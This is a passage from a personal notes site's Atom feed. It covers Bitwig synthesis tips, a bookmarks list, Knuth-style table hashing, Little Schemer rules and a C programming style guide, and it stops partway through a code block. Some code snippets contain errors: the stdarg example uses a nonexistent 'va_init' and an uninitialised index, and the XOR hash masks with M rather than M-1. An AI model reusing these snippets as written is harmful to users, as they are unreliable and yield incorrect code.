                    we can also use a gate-in for building a playable
                    instrument.</p>
                    <p>We can extend this concept chaining multiple
                    envelopes, creating a repeating multi stage
                    envelope, as seen below.</p>
                    <p><a href="/notes/bitwig/chain-envelope.png"><img
                    src="/notes/bitwig/chain-envelope.png" /></a></p>
                    <p>Source: <a
                    href="https://youtu.be/2egzMCZ-N4E">Modular
                    Concepts: Musical Maths</a></p>
                    <h4
                    id="morphingblending-wavetable-synths">Morphing/blending
                    wavetable synths</h4>
                    <p>Here is an interesting way of blending between
                    four different sounds using the XY pad. By
                    modulating the X-Y positions we can get interesting
                    sounds, specially when we also play with the
                    modulation within each synth or sound.</p>
                    <p>In these example we are blending four wavetable
                    synths, but this technique could be used with any
                    sound.</p>
                    <p><a href="/notes/bitwig/wavetable-xy-pad.png"><img
                    src="/notes/bitwig/wavetable-xy-pad.png" /></a></p>
                    <p>Source: <a
                    href="https://youtu.be/vxHNRyD_2Mk">Bitwig Grid 101:
                    Basic Vector Synthesis With The XY Pad (Tâches
                    Teaches)</a></p>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Bookmarks</title>
            <link href="https://badd10de.dev//notes/bookmarks.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/bookmarks.html</id>
            <updated>2026-06-16T09:49:13Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>This is a non inclusive list of some of my
                    favourite personal websites, blogs and other
                    links.</p>
                    <h2 id="websites-and-blogs">Websites and Blogs</h2>
                    <h3
                    id="artwritingmultimedia">Art/writing/multimedia</h3>
                    <ul>
                    <li><a
                    href="http://nonmateria.com/">Nonmateria</a></li>
                    <li><a
                    href="https://wiki.xxiivv.com/site/home.html">Devine
                    Lu Linvega (XXIIVV)</a></li>
                    <li><a
                    href="https://kokorobot.ca/site/home.html">Rekka
                    Bellum (kokorobot)</a></li>
                    <li><a
                    href="https://compudanzas.net/">Compudanzas</a></li>
                    <li><a href="https://sive.rs/">Derek Sivers</a></li>
                    <li><a href="https://helveticablanc.com/">Helvetica
                    Blanc</a></li>
                    <li><a href="https://grumpygamer.com/">Ron Gilbert
                    (Grumpy Gamer)</a></li>
                    <li><a href="https://www.stilldrinking.org/">Peter
                    Hunt Welch (Still Drinking)</a></li>
                    <li><a
                    href="https://schicksalgemeinschaft.wordpress.com/">Bart
                    Bormgans (Weighing a pig doesn’t fatten it)</a></li>
                    <li><a
                    href="https://yip.pe/files/nice%20palettes.pdf">Nice
                    color palettes by Zens</a></li>
                    </ul>
                    <h3
                    id="lifestylecontemporary">Lifestyle/contemporary</h3>
                    <ul>
                    <li><a href="https://solar.lowtechmagazine.com/">Low
                    tech magazine</a></li>
                    </ul>
                    <h3 id="recipesfood">Recipes/Food</h3>
                    <ul>
                    <li><a
                    href="https://grimgrains.com/site/home.html">Grim
                    Grains</a></li>
                    <li><a
                    href="https://www.sprinklesandsprouts.com/homemade-soft-tortilla-wraps/">Homemade
                    soft tortilla wraps</a></li>
                    </ul>
                    <h3 id="computer-sciencemathengineering">Computer
                    science/Math/Engineering</h3>
                    <ul>
                    <li><a href="https://papa.bretmulvey.com/">Bret
                    Mulvey (The Pluto Scarab)</a></li>
                    <li><a href="https://nullprogram.com/">Chris Wellons
                    (Null Program)</a></li>
                    <li><a href="https://yosefk.com/">Yossi Kreinin
                    (Proper Fixation)</a></li>
                    <li><a href="https://probablydance.com/">Malte
                    Skarupke (Probably Dance)</a></li>
                    <li><a href="https://stpeter.im/">Peter Saint-Andre
                    (stpeter)</a></li>
                    <li><a
                    href="https://www.edwinwenink.xyz/archives/">Edwin
                    Wenink</a></li>
                    <li><a href="https://stevelosh.com/">Steve
                    Losh</a></li>
                    <li><a href="https://jip.dev/">Jorge Israel
                    Peña</a></li>
                    <li><a href="https://lemire.me/blog/">Daniel
                    Lemire</a></li>
                    <li><a href="http://danluu.com/">Dan Luu</a></li>
                    <li><a href="https://raphlinus.github.io/">Raph
                    Levien</a></li>
                    <li><a href="https://devonzuegel.com/">Devon
                    Zuegel</a></li>
                    <li><a href="https://drewdevault.com/">Drew
                    DeVault</a></li>
                    <li><a
                    href="https://blog.demofox.org/">Demofox</a></li>
                    <li><a href="https://fabiensanglard.net/">Fabien
                    Sanglard</a></li>
                    <li><a href="https://matt.might.net/">Matt
                    Might</a></li>
                    <li><a
                    href="https://floooh.github.io/archive/">Floooh (The
                    Brain Dump)</a></li>
                    <li><a
                    href="https://lostgarden.home.blog/">Lostgarden</a></li>
                    <li><a
                    href="https://www.gridsagegames.com/blog/">Grid
                    sage</a></li>
                    <li><a href="https://tonsky.me/">Nikita
                    Tonsky</a></li>
                    <li><a href="http://elm-chan.org/cc_e.html">Elm-chan
                    technical notes</a></li>
                    </ul>
                    <h3 id="utilities">Utilities</h3>
                    <ul>
                    <li><a href="http://libgen.rs/search.php">Library
                    Genesis</a></li>
                    <li><a
                    href="https://theanarchistlibrary.org/special/index">The
                    Anarchist Library</a></li>
                    <li><a href="https://asciiflow.com/#/">ASCII
                    flow</a></li>
                    <li><a
                    href="https://www.yworks.com/products/yed">yEd -
                    graph editor</a></li>
                    <li><a
                    href="https://namingschemes.com/Main_Page">Naming
                    schemes</a></li>
                    <li><a
                    href="https://github.com/RazrFalcon/svgcleaner">SVG
                    cleaner (SVG optimization)</a></li>
                    </ul>
                    <h3 id="webcomics">Webcomics</h3>
                    <ul>
                    <li><a
                    href="https://www.smbc-comics.com/#comic">Saturday
                    Morning Breakfast Cereal</a></li>
                    <li><a href="https://pbfcomics.com/">The Perry Bible
                    Fellowship</a></li>
                    <li><a
                    href="https://loadingartist.com/comic/">Loading
                    Artist</a></li>
                    <li><a
                    href="https://www.extrafabulouscomics.com/">Extra
                    Fabulous</a></li>
                    <li><a href="https://xkcd.com/">XKCD</a></li>
                    </ul>
                    <h2
                    id="moviesshowsdocumentaries">Movies/shows/documentaries</h2>
                    <ul>
                    <li><a
                    href="https://en.wikipedia.org/wiki/The_Rise_of_the_Synths">The
                    rise of the synths</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=dop4MTlf_zc">Bee
                    and PuppyCat</a></li>
                    <li><a
                    href="https://www.imdb.com/title/tt3986820/">The
                    Endless</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Prince_of_Darkness_(film)">Prince
                    of Darkness</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/In_the_Mouth_of_Madness">In
                    the mouth of madness</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Dagon">Dagon</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/The_Dark_Crystal">The
                    Dark Crystal</a></li>
                    </ul>
                    <h2 id="music">Music</h2>
                    <h3 id="artists">Artists</h3>
                    <ul>
                    <li><a
                    href="https://kavinsky.bandcamp.com/music">Kavinsky</a></li>
                    <li><a
                    href="https://perturbator.bandcamp.com/music">Perturbator</a></li>
                    <li><a
                    href="https://carpenterbrut.bandcamp.com/music">Carpenter
                    Brut</a></li>
                    <li><a
                    href="https://gunshipmusic.bandcamp.com/">Gunship</a></li>
                    <li><a
                    href="https://fm84.bandcamp.com/">FM84</a></li>
                    <li><a
                    href="https://glitterwolf.bandcamp.com/music">Glitterwolf</a></li>
                    <li><a
                    href="https://lastfuture.bandcamp.com/music">Last
                    Future</a></li>
                    <li><a
                    href="https://redsnapper.bandcamp.com/music">Red
                    Snapper</a></li>
                    <li><a
                    href="https://ottsonic.bandcamp.com/music">Ott</a></li>
                    <li><a
                    href="https://liquidritual.bandcamp.com/music">Liquid
                    Ritual</a></li>
                    <li><a
                    href="https://aliceffekt.bandcamp.com/music">Aliceffekt</a></li>
                    <li><a href="https://fluxpavilion.com/music">Flux
                    pavilion</a></li>
                    <li><a
                    href="https://8salamanda8.bandcamp.com/music">Salamanda</a></li>
                    <li><a
                    href="https://tristanarp.bandcamp.com/music">Tristan
                    Arp</a></li>
                    <li><a
                    href="https://youwillloveeachother.bandcamp.com/music">HEALTH</a></li>
                    <li><a
                    href="https://masterbootrecord.bandcamp.com/music">Master
                    Boot Record</a></li>
                    <li><a
                    href="https://keygenchurch.bandcamp.com/music">Keygen
                    Church</a></li>
                    <li><a
                    href="https://beholdtheelder.bandcamp.com/music">Elder</a></li>
                    <li><a
                    href="https://gencab.bandcamp.com/music">Genocab</a></li>
                    <li><a
                    href="https://jkuch.bandcamp.com/">Jkuch</a></li>
                    <li><a
                    href="https://isaachayes.bandcamp.com/music">Isaac
                    Hayes</a></li>
                    <li><a
                    href="https://sebastientellier.bandcamp.com/music">Sebastien
                    Tellier</a></li>
                    <li><a
                    href="https://funkadelic.bandcamp.com/music">Funkadelic</a></li>
                    <li><a
                    href="https://minutestomidnight.bandcamp.com/music">Minutes
                    to Midnight</a></li>
                    <li><a
                    href="https://blixbyrd.bandcamp.com/music">Blix
                    Byrd</a></li>
                    <li><a
                    href="https://www.youtube.com/user/FortyFeetTall/videos">FortyFeetTall</a></li>
                    <li><a
                    href="https://thelostandfoundworkshop.bandcamp.com/music">The
                    Lost &amp; Found Workshop</a></li>
                    <li><a
                    href="https://m-o-o-n.bandcamp.com/">MOON</a></li>
                    <li><a
                    href="https://jonnyfallout.bandcamp.com/music">Jonny
                    Fallout</a></li>
                    <li><a
                    href="https://ylvatrax.bandcamp.com/music">YLVA</a></li>
                    <li><a
                    href="https://ivartryti.bandcamp.com/music">Ivar
                    Tryti</a></li>
                    </ul>
                    <h3 id="mixtapes">Mixtapes</h3>
                    <ul>
                    <li><a
                    href="https://www.mixcloud.com/Ishkur/the-ultimate-atmospheric-jungle-mix/">The
                    ultimate atmospheric jungle mix (Ishkur)</a></li>
                    </ul>
                    <h3 id="radio">Radio</h3>
                    <ul>
                    <li><a href="https://nolife-radio.com/">Nolife
                    radio</a></li>
                    <li><a href="https://retrowave.ru/">Retrowave
                    radio</a></li>
                    </ul>
                    <h3 id="music-production">Music production</h3>
                    <ul>
                    <li><a
                    href="https://productionadvice.co.uk/">Production
                    advice (Ian Shepherd)</a></li>
                    <li><a
                    href="https://www.edmprod.com/song-palette-strategy/">How
                    to destroy creative block with the song palette
                    strategy</a></li>
                    <li><a href="https://cdm.link/">Create Digital
                    Music</a></li>
                    <li><a
                    href="https://bedroomproducersblog.com/">Bedroom
                    Producers Blog</a></li>
                    <li><a
                    href="http://machines.hyperreal.org/samples.html">Music
                    machines samples</a></li>
                    <li><a
                    href="https://docs.google.com/spreadsheets/d/1wr0RjPfQvD_VrIivi4U4tsnqMdL78sWOaDUI2Z95R9U/edit#gid=1290323142">Free
                    DAW plugins</a></li>
                    <li><a
                    href="https://codeberg.org/nonmateria/folderkit">folderkit:
                    an OSC-controlled sampler</a></li>
                    </ul>
                    <h3 id="discovery">Discovery</h3>
                    <ul>
                    <li><a href="https://www.albumoftheyear.org/">Album
                    of the year</a></li>
                    </ul>
                    <h2 id="books-and-articles">Books and articles</h2>
                    <h3 id="music-1">Music</h3>
                    <ul>
                    <li><a
                    href="https://static.livecodingbook.toplap.org/books/livecoding.pdf">Live
                    Coding: a user’s manual</a></li>
                    </ul>
                    <h3 id="science">Science</h3>
                    <ul>
                    <li><a
                    href="https://berthub.eu/articles/posts/amazing-dna/">DNA
                    seen through the eyes of a coder</a></li>
                    </ul>
                    <h3
                    id="non-fictionlifestyle">Non-fiction/Lifestyle</h3>
                    <ul>
                    <li><a
                    href="https://cloudflare-ipfs.com/ipfs/bafykbzacedzh2rlxnl2owfkizefmdj4ebyj2gn5vx6wv5ud5e6w3e5zpuxrgu?filename=Neumeyer%20K.%20-%20Sailing%20the%20Farm.pdf">Sailing
                    the farm</a></li>
                    <li><a
                    href="https://archive.org/details/mac_Zen_the_Art_of_Macintosh1986/mode/2up">Zen
                    &amp; the art of the Macintosh : discoveries on the
                    path to computer enlightment</a></li>
                    <li><a
                    href="https://la-u.org/the-limits-to-growth-eco-socialism-or-barbarism/">The
                    limits to growth: eco-socialism or
                    barbarism</a></li>
                    <li><a
                    href="https://theanarchistlibrary.org/library/david-graeber-bullshit-jobs">Bullshit
                    Jobs</a></li>
                    </ul>
                    <h3 id="compilers">Compilers</h3>
                    <ul>
                    <li><a
                    href="https://www.clear.rice.edu/comp512/Lectures/Papers/1971-allen-catalog.pdf?ref=dailydevbytes.com">A
                    catalogue of optimizing transformations</a></li>
                    <li><a
                    href="http://venge.net/graydon/talks/CompilerTalk-2019.pdf">21
                    compilers and 3 orders of magnitude in 60
                    minutes</a></li>
                    <li><a
                    href="https://dspace.mit.edu/handle/1721.1/5854">The
                    Function of FUNCTION in LISP, or Why the FUNARG
                    Problem Should be Called the Environment
                    Problem</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Funarg_problem">The
                    funarg problem</a></li>
                    <li><a
                    href="https://verdagon.dev/blog/surprising-weak-refs">Surprising
                    weak-ref implementations</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Escape_analysis">Escape
                    analysis</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=WUkYIdv9B8c">Compile
                    time reference counting &amp; Lifetime Analysis in
                    Lobster</a></li>
                    <li><a
                    href="http://www.r-5.org/files/books/computers/compilers/writing/Keith_Cooper_Linda_Torczon-Engineering_a_Compiler-EN.pdf">Engineering
                    a compiler</a></li>
                    </ul>
                    <h3 id="text-editors">Text editors</h3>
                    <ul>
                    <li><a href="http://www.finseth.com/craft/">The
                    craft of text editing</a></li>
                    <li><a
                    href="http://www.catch22.net/tuts/neatpad/piece-chains#">Piece
                    Chains (The perfect text editor)</a></li>
                    </ul>
                    <h3 id="programming">Programming</h3>
                    <ul>
                    <li><a
                    href="http://elementsofprogramming.com/eop.pdf">Elements
                    of Programming</a></li>
                    <li><a
                    href="https://archive.org/details/SNESDevManual/book1/mode/2up">SNES
                    Development Manual (Official)</a></li>
                    <li><a
                    href="http://worrydream.com/refs/Wirth%20-%20Project%20Oberon.pdf">Project
                    Oberon: The design of an operating system and
                    compiler</a></li>
                    <li><a
                    href="https://magcius.github.io/xplain/article/index.html">Explanations
                    (X11 programming)</a></li>
                    <li><a
                    href="https://interrupt.memfault.com/blog/how-to-write-a-bootloader-from-scratch">From
                    Zero to main(): How to Write a Bootloader from
                    Scratch</a></li>
                    <li><a
                    href="https://thomasorus.com/make-my-website-accessible-and-look-ok.html">Make
                    my website accessible and look OK</a></li>
                    <li><a
                    href="https://issuu.com/petergoldsborough/docs/thesis">Developing
                    a Digital Synth in C++</a></li>
                    <li><a
                    href="https://www.internalpointers.com/">Internal
                    pointers</a></li>
                    <li><a href="http://fare.tunes.org/LispM.html">A few
                    things I know about Lisp machines</a></li>
                    <li><a
                    href="https://www.mnot.net/rss/tutorial/#feed-tools">RSS
                    and Atom Feed Tutorial</a></li>
                    <li><a
                    href="https://www.evanjones.ca/makefile-dependencies.html">Correct
                    incremental builds with Makefiles</a></li>
                    <li><a
                    href="https://hechao.li/2021/12/20/Boot-Raspberry-Pi-4-Using-uboot-and-Initramfs/">Boot
                    a Raspberry Pi 4 using u-boot and Initramfs</a></li>
                    </ul>
                    <h3 id="design">Design</h3>
                    <ul>
                    <li><a href="http://webtypography.net/toc/">The
                    Elements of Typographic Style Applied to the
                    Web</a></li>
                    <li><a
                    href="https://tallys.github.io/color-theory/">Practical
                    Color Theory for People Who Code</a></li>
                    <li><a
                    href="https://tympanus.net/codrops/2012/09/17/build-a-color-scheme-the-fundamentals/">Build
                    a color scheme: The fundamentals</a></li>
                    <li><a
                    href="https://practicaltypography.com/">Practical
                    Typography</a></li>
                    <li><a href="https://htmlhead.dev/">A simple guide
                    to HTML &lt;head&gt; elements</a></li>
                    <li><a
                    href="https://snook.ca/technical/colour_contrast/colour.html#fg=33FF33,bg=333333">Colour
                    contrast check</a></li>
                    <li><a href="http://colllor.com/">Colllor</a></li>
                    <li><a href="http://paletton.com/">Paletton</a></li>
                    <li><a
                    href="https://www.modularscale.com/">Typographic
                    Modular Scale</a></li>
                    </ul>
                    <h3 id="graphicsgamedev">Graphics/gamedev</h3>
                    <ul>
                    <li><a
                    href="https://archive.org/details/BlackArt3DEBook/page/n1/mode/2up">The
                    black art of 3d game programming</a></li>
                    <li><a
                    href="http://trystans.blogspot.com/">Trystan’s blog:
                    Roguelike tutorial</a></li>
                    <li><a href="https://www.redblobgames.com/">Red Blob
                    Games</a></li>
                    <li><a
                    href="https://www.gamedeveloper.com/design/scroll-back-the-theory-and-practice-of-cameras-in-side-scrollers">Scroll
                    Back: The Theory and Practice of Cameras in
                    Side-Scrollers</a></li>
                    <li><a
                    href="https://blog.studiominiboss.com/pixelart">Miniboss
                    pixel art tutorials</a></li>
                    <li><a
                    href="https://mewo2.com/notes/terrain/">Generating
                    fantasy maps</a></li>
                    <li><a href="https://azgaar.wordpress.com/">Fantasy
                    maps for fun and glory</a></li>
                    <li><a
                    href="http://www.nolithius.com/articles/world-generation/world-generation-breakdown">World
                    generation breakdown</a></li>
                    <li><a
                    href="https://robertheaton.com/2018/12/17/wavefunction-collapse-algorithm/">The
                    Wavefunction Collapse Algorithm explained very
                    clearly</a></li>
                    <li><a href="https://alain.xyz/">Alain
                    Galvan</a></li>
                    </ul>
                    <h3 id="illustrationdesign">Illustration/design</h3>
                    <ul>
                    <li><a
                    href="https://archive.org/details/satoArtOfComputerDesigning/page/17/mode/2up">The
                    Art Of Computer Designing: A Black and White
                    Approach</a></li>
                    </ul>
                    <h3 id="fiction">Fiction</h3>
                    <ul>
                    <li><a
                    href="https://archive.org/details/manga_Ghost_in_the_Shell_1/GITS1/mode/2up">MANGA:
                    Ghost in the Shell 1</a></li>
                    </ul>
                    <h3 id="recipes">Recipes</h3>
                    <ul>
                    <li><a
                    href="https://parkimminent.com/site/fermented-tomato-soup.html">Fermented
                    tomato soup</a></li>
                    <li><a
                    href="https://toallthemeals.com/2020/02/03/szechuan-eggplant-with-silken-tofu/">Szechuan
                    eggplant with silken tofu</a></li>
                    </ul>
                    <h2 id="games">Games</h2>
                    <ul>
                    <li><a
                    href="https://voxel.itch.io/dashy-blast">Dashy no
                    Blast</a></li>
                    <li><a
                    href="https://store.steampowered.com/app/963450/The_Eternal_Castle_REMASTERED/">The
                    Eternal Castle</a></li>
                    <li><a
                    href="https://store.steampowered.com/app/1578650/Citizen_Sleeper/">Citizen
                    Sleeper</a></li>
                    <li><a
                    href="https://store.steampowered.com/app/632470/Disco_Elysium__The_Final_Cut/">Disco
                    Elysium</a></li>
                    <li><a
                    href="https://store.steampowered.com/app/975370/Dwarf_Fortress/">Dwarf
                    Fortress</a></li>
                    <li><a
                    href="https://firstpressgames.com/collections/goodboy-galaxy?rdt_cid=3877560322889979765">Goodboy
                    Galaxy</a></li>
                    </ul>
                    <h2 id="initiatives">Initiatives</h2>
                    <ul>
                    <li><a
                    href="https://cryptpad.fr/code/#/2/code/edit/ImihQJko6d1Jk2hsFks9b5lT/">Projects,
                    community and tools/resources for ways of existing
                    without capitalism</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Book: The Art of Computer Programming, by
Donald Knuth</title>
            <link href="https://badd10de.dev//notes/book-the-art-of-computer-programming.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/book-the-art-of-computer-programming.html</id>
            <updated>2026-06-16T09:49:13Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="hashing-vol.-3-p.-519">Hashing (Vol. 3,
                    p. 519)</h2>
                    <p>If we have a stream of characters that we want to
                    hash, we can hash each character with a different
                    hash function and add them together.</p>
                    <p>Be <code>K := {x1, x2, ... , xn}</code> we want
                    to map to <code>M</code> buckets:</p>
                    <pre><code>h(K) = (h1(x1) + h2(x2) + ... + hn(xn)) mod M</code></pre>
                    <p>The thing that makes this interesting is that for
                    a limited set of numbers, we can precompute these
                    hashes and store them in a lookup table, so the
                    function becomes:</p>
                    <pre><code>hash_lookup[255] = {0xDEADBEEF, 0xFEEDD011, ...}
h(K) = (hash_lookup[x1] + hash_lookup[x2] + ... + hash_lookup[xn]) mod M</code></pre>
                    <p>If M is a power of 2, we can avoid the mod by
                    subsituting XOR in place of addition:</p>
                    <pre><code>h(K) = (hash_lookup[x1] ^ hash_lookup[x2] ^ ... ^ hash_lookup[xn]) &amp; M</code></pre>
                    <p>If the <code>hash_lookup</code> values are chosen
                    at random, this method should minimize the
                    collisions in the table.</p>
                    <p>Alternatively, we could just use Fibonacci
                    hashing as a finisher for mapping the results of the
                    additions. For a hash table, we could generate the
                    lookup table of 255 elements at random every
                    time.</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Book: The Little Schemer, by Friedman,
D.</title>
            <link href="https://badd10de.dev//notes/book-the-little-schemer.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/book-the-little-schemer.html</id>
            <updated>2026-06-16T09:49:13Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>This book is focused on the <a
                    href="./scheme-programming.md">Scheme programming
                    language</a>, and follows an interesting writing
                    style, where questions are asked on the left panel
                    and answered on the right. It is akin to how a
                    children would learn a new skill, by trial an error
                    and with an explanation of the solution.</p>
                    <p>With the book there are also certain
                    <em>laws</em> and <em>commandments</em> that are
                    given as a ground truth for reference when
                    coding.</p>
                    <h2 id="laws">Laws</h2>
                    <ul>
                    <li>All strings including symbols, numbers and
                    special characters other than <code>(</code> or
                    <code>)</code> are atoms.</li>
                    <li>All atoms, lists are S-expr.</li>
                    <li>Law of <code>car</code>: <code>car</code> is
                    defined only on non-empty lists.</li>
                    <li>Law of <code>cdr</code>: <code>cdr</code> is
                    defined only on non-empty lists. <code>cdr</code>
                    returns another list.</li>
                    <li>Law of <code>cons</code>: <code>cons</code> take
                    two arguments, the second being a list. The result
                    is a list.</li>
                    <li>Law of <code>null?</code>: <code>null?</code> is
                    only defined for lists.</li>
                    <li>Law of <code>eq?</code>: <code>eq?</code> takes
                    two atoms (non numeric?).</li>
                    </ul>
                    <h2 id="commandments">Commandments</h2>
                    <ul>
                    <li>First commandment: Always ask <code>null?</code>
                    as first question when recurring a list of atoms.
                    When recurring on a number ask <code>zero?</code> as
                    the first question.</li>
                    <li>Second commandment: Use <code>cons</code> to
                    build lists.</li>
                    <li>Third commandment: When building a list,
                    describe the typical element and then
                    <code>cons</code> it onto the natural
                    recursion.</li>
                    <li>Fourth commandment: Always change at least one
                    argument when recurring. It must be changed to be
                    closer to termination. The changing argument must be
                    tested in the termination condition.</li>
                    <li>Fifth commandment: When building value with
                    <code>+</code> (sum), use 0 for value of terminating
                    condition. When building with <code>x</code>
                    (multipy), always use 1 for the value of the
                    terminating condition. With <code>const</code>, use
                    <code>'()</code> as the value of the terminating
                    condition.</li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Color</title>
            <link href="https://badd10de.dev//notes/color.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/color.html</id>
            <updated>2026-06-16T09:49:14Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://ldcompanion.wordpress.com/2013/09/11/colour-part-1-introduction-and-the-science-of-colours/">Introduction
                    to the science of colours</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=mC8ol2-V7Ck">Secrets
                    of color-grading in photography</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // C Programming</title>
            <link href="https://badd10de.dev//notes/c-programming.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/c-programming.html</id>
            <updated>2026-06-16T09:49:14Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>C is on of the most used systems programming
                    languages in the world. Your OS will probably a good
                    chunk of C in it. After some years of C++
                    programming I wanted to expore the more minimal core
                    of C99 and C11, and I much prefer it to any other
                    system programming language alternatives.</p>
                    <p><a
                    href="/notes/c-programming/C_propaganda.jpg"><img
                    src="/notes/c-programming/C_propaganda_small.png"
                    alt="Picture of a communist style propaganda pamphlet promoting the K&amp;R’s C programming language book." /></a></p>
                    <h2 id="style-guide">Style guide</h2>
                    <p>This is my personal style guide for writing C
                    code. Some more or less objective rules of thumb and
                    my own biased preferences. Everyone has their own
                    preferences, and one should try to respect the style
                    guide if working with other people on different
                    projects. Consistency is key.</p>
                    <ul>
                    <li>Create heap allocated resources by returning a
                    pointer to them. The function should be called
                    <code>fun_create</code> and freed with
                    <code>fun_destroy</code>.</li>
                    <li>Use typedefs on function pointers or objects
                    that are suppossed to be opaque from the user
                    perspective.</li>
                    <li>Declare each variable in a separate line.</li>
                    <li>Use braces even when optional.</li>
                    <li>Indent with 4 spaces.</li>
                    <li>When writing function implementations, put
                    return argument argumenets on a separate line from
                    function name to be able to query the codebase for
                    <code>^fun_name</code>.</li>
                    <li>Use double slash comments when possible
                    <code>//</code>. I find these much easier to read
                    and write, and they are supported since
                    <code>C99</code>. I tend to comment a lot, sometimes
                    a bit too much, but this is because I normally start
                    writing new functions by outlining the desired
                    behaviour with comments and then implement it step
                    by step. Future-me likes past-me when reading code
                    that has been pushed off the mental cache.</li>
                    <li>Don’t be afraid of using long variable names.
                    It’s good to try to be as concise as possible, but
                    clarity is very important to me, so I would favour
                    <code>int node_count</code> over
                    <code>int nc</code>. The exception to this are
                    indexes, where normally I will use
                    <code>i, j, k, n, m, z, p...</code>.</li>
                    </ul>
                    <h3 id="resources">Resources</h3>
                    <p>Here are some style guides that I’ve read from
                    other people. I agree with some parts of these and
                    disagree with others. Ultimately some choices are
                    philosophical and other are more or less practical,
                    so pick your own style and try to stick to it. If
                    working with other people try to agree on some
                    guidelines, use the project existing style or use
                    some autoformatters to avoid pointless
                    discussions.</p>
                    <ul>
                    <li><a
                    href="https://git.sr.ht/~sircmpwn/cstyle">Drew de
                    Vault’s C style guide</a></li>
                    <li><a href="https://ftrv.se/3">Sigrid’s C code
                    notes</a></li>
                    <li><a href="https://aiju.de/misc/c-style">Aiju’s
                    style notes</a></li>
                    <li><a
                    href="http://doc.cat-v.org/bell_labs/pikestyle">Rob
                    Pike’s C code notes</a></li>
                    </ul>
                    <h2 id="notes-on-the-language">Notes on the
                    language</h2>
                    <h3 id="the-static-keyword">The <code>static</code>
                    keyword</h3>
                    <ul>
                    <li>static global: Used as a global makes the
                    variable/function only visible for that translation
                    unit. If a function is made static, we ensure that
                    the identifier name will not conflict with others
                    outside of its translation unit. For example, if on
                    <code>head.h</code> I declare a
                    <code>static int do_the_thing(void)</code> function
                    and on <code>kazoo.h</code> I declare a function
                    with the same type signature and name, both will be
                    valid, as long as I’m not trying to make use one in
                    place of another.</li>
                    <li>static local: Used inside a function will make
                    it persist, but will only be visible from within the
                    function. This means that we have a persistent
                    global state, but no one can touch it except its
                    creator.</li>
                    </ul>
                    <h3 id="the-inline-keyword">The <code>inline</code>
                    keyword</h3>
                    <p>The inline keyword can be thought as a hint to
                    the compiler to increase the likelihood of a
                    function to be inlined. In order for that to work,
                    it needs to be used with <code>static</code> as
                    well, otherwise, inline can be used as an
                    alternative implementation for an existing function.
                    For example if we have an <code>int fun()</code> in
                    translation unit <code>fun.c</code> and
                    <code>inline fun()</code> in <code>bar.c</code>, and
                    we call <code>fun()</code> from <code>bar.c</code>,
                    if the function gets inlined, the
                    <code>inline fun()</code> will be used instead of
                    the one in <code>fun.c</code>. This can be a big
                    problem if the functions don’t behave exactly the
                    same, and it will increase the burden of maintaining
                    two different versions.</p>
                    <p>Inline functions should be both declared and
                    defined in header files unless those functions have
                    internal linkage. In C, if also want non inline for
                    the same funcion we would add a definition on a
                    single .c file.</p>
                    <pre><code>//
// max_val.h
//

inline int
max_val(int a, int b) {
    return a &gt; b ? a : b;
}

//
// max_val.c
//

#include &quot;max_val.h&quot;

int
max_val(int a, int b);

// or

extern int
max_val(int a, int b);

// or

extern inline int
max_val(int a, int b);

// this doesn&#39;t work here!
inline int
max_val(int a, int b);</code></pre>
                    <p>We can also force the inlining by passing a
                    compiler parameter, i.e.
                    <code>__atribute__((always_inline)) inline int fun()</code>,
                    but in general we can trust that the compiler will
                    optimize the inlines as needed.</p>
                    <h3 id="the-stdarg.h-header">The
                    <code>&lt;stdarg.h&gt;</code> header</h3>
                    <p>Contains macros to access variadic functions. Use
                    the following example as a guide:</p>
                    <pre><code>#include &lt;stdarg.h&gt;

int
sum_numbers(int num, ...) {
    va_list args;
    va_init(args, num);
    int sum = 0;
    for (size_t i; i &lt; num; ++i) {
        sum += va_arg(args, int);
    }
    va_end(args);
    return sum;
}</code></pre>
                    <h3 id="strings-with-string.h">Strings with
                    <code>&lt;string.h&gt;</code></h3>
                    <ul>
                    <li>Try to use <code>strtok_r</code> instead of
                    <code>strtok</code> for string tokenization, as the
                    former doesn’t have global state (It is
                    reentrant).</li>
                    <li><code>strtok_r</code> and <code>strtok</code>
                    can take multiple delimiters as a string
                    (<code>",:"</code> will tokenize by comma or
                    colon).</li>
                    <li><code>strtok_r</code> and <code>strtok</code>
                    will treat multiple empty delimiters as one instead
                    of returning an empty string. For example
                    <code>"hey,hello,,world"</code> will be tokenized as
                    <code>["hey", "hello", "world"]</code> instead of
                    <code>["hey", "hello", "", "world"]</code>. If we
                    need empty strings as delimiters we can roll our own
                    tokenization or use non standard
                    <code>strsep</code>.</li>
                    <li><code>strtok_r</code>, <code>strtok</code> and
                    <code>strsep</code> are <strong>destructive</strong>
                    operations. Make sure to <code>memcpy</code> or
                    <code>strdup</code> the original string if you care
                    for it.</li>
                    </ul>
                    <pre><code>// Split file into words.
char *token = webster;
char **all_tokens = NULL;
for (size_t i = 0; i &lt; n_words; ++i) {
    // Limit number of words
    if (i &gt;= n_words) {
        break;
    }
